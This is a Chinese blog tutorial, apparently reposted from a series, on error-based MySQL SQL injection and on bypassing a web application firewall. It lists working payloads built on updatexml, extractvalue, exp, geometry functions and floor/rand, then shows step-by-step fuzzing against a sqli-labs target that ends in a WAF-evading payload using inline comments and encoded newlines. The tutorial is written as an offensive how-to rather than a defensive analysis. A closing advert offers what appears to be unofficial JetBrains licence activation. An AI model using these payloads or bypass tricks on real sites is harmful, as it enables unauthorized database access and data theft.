大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。
0x00 前言
前面讲到了bypass 联合查询和盲注,那么这章节就来个报错注入。
0x01 报错注入与函数
此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。
在联合查询查询能爆出数据是因为在页面有显示位,而盲注只能靠页面返回正常或者错误,这样的方式比较慢,那么这时候如果有报错,可以直接通过mysql的报错语句让他爆出数据。
1.updatexml()
updatexml() 是更新xml文档的函数
语法:update(目标xml文档,xml路径,更新内容) 第二个参数xml路径是可以操作的地方,xml文档中查找字符串位置是用/xx/xx…这种格式,如果写入其他格式就会报错。
select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
2.extractvalue()
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
3.exp()
select * from users where id=1 and exp(~(select * from(select user())a));
exp()以e为底的指数函数,但是如果传递的数太大了,当大于709时, exp()就会因为重复而报错。 将0按位取反就会得到“ 18446744073709551615”, 再加上函数成功执行后返回0,我们将成功执行的函数取反就会得到最大的无符号的bigint值。 通过子查询与按位求反,造成一个双倍的溢出错误,可能就可以注出数据。
4.geometrycollection()
select * from users where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from users where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from users where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from users where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from users where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from users where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.floor
select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
floor(x) 函数,向下取整,返回一个不大于x的值
round(x,d) 函数,根据四舍五入保留指定的小数位数,x指要处理的数,d是指保留几位小数。
rand() 函数,产生一个0-1之间的随机浮点数,若有参数x,则返回一个x对应的固定的值
0x02 bypass盲注
http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
那么我们先来fuzz一下拦截的参数
and 不拦截 and updatexml 不拦截 and updatexml() 不拦截 and updatexml(1,1,1) 拦截 and updatexml(1,,1) 不拦截
and updatexml(1,1,1 不拦截
那么现在却确定他拦截的是 完整的 and updatexml (1,2,3) 那么我们可以从他的括号做手脚
and updatexml(1,1,1/*!)*/ 不拦截
成功绕过,那么我们现在来查询user(),查询用户名。
' and updatexml(1,(select user()),1/*!)*/--+
输入select拦截了还得继续fuzz
and updatexml(1,(),1/*!)*/ 不拦截
and updatexml(1,(select ),1/*!)*/ 不拦截 and updatexml(1,(select user ),1/*!)*/ 不拦截 and updatexml(1,(select user() ),1/*!)*/ 拦截
那么他拦截的肯定是user和括号拼接起来的函数
继续fuzz
and updatexml(1,(select user/**/() ),1/*!)*/ 拦截 and updatexml(1,(select user+() ),1/*!)*/ 拦截 and updatexml(1,(select user--+%0a() ),1/*!)*/ 拦截 and updatexml(1,(select user--+/*hex(0)*/%0a() ),1/*!)*/ 拦截 and updatexml(1,(select user--+/*!hex(0)*/%0a() ),1/*!)*/ 不拦截
试试另一种方法
and updatexml(1,(select user(/**/) ),1/*!)*/ 拦截
and updatexml(1,(select user(/*!/**/*/) ),1/*!)*/ 绕过
这里因为没有加concat 等字符拼接函数,所以显示会有问题,这里来添加试试
http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e,(select user--+hex(0)%0a()),0x7e),1/*!)*/--+
这里被拦截 那么肯定就是concat这个函数。
继续fuzz
and updatexml(1,concat,1/*!)*/ 不拦截 and updatexml(1,concat(),1/*!)*/ 不拦截 and updatexml(1,concat(0x7e),1/*!)*/ 不拦截且回显~号 and updatexml(1,concat(1,),1/*!)*/ 不拦截 and updatexml(1,concat(1,,),1/*!)*/ 拦截 and updatexml(1,concat(0x7e/*!,*/ (select 1)/*!,*/0x7e),1/*!)*/ 不拦截 回显1
这里concat()和concat(0x7e,)不拦截 加多个都好就拦截了 ,那么他肯定过滤了,这里用/*!*/来绕过
现在我们已经回显出1来了 就可以来用user()函数来查询一下
http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e/*!,*/ (select user--+hex(0)%0a())/*!,*/0x7e),1/*!)*/--+
查询成功 成功绕过waf后面的一些暴库,爆表也是一样的方法思路。
0x03 结尾
啥也不说插个表情包
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119975.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...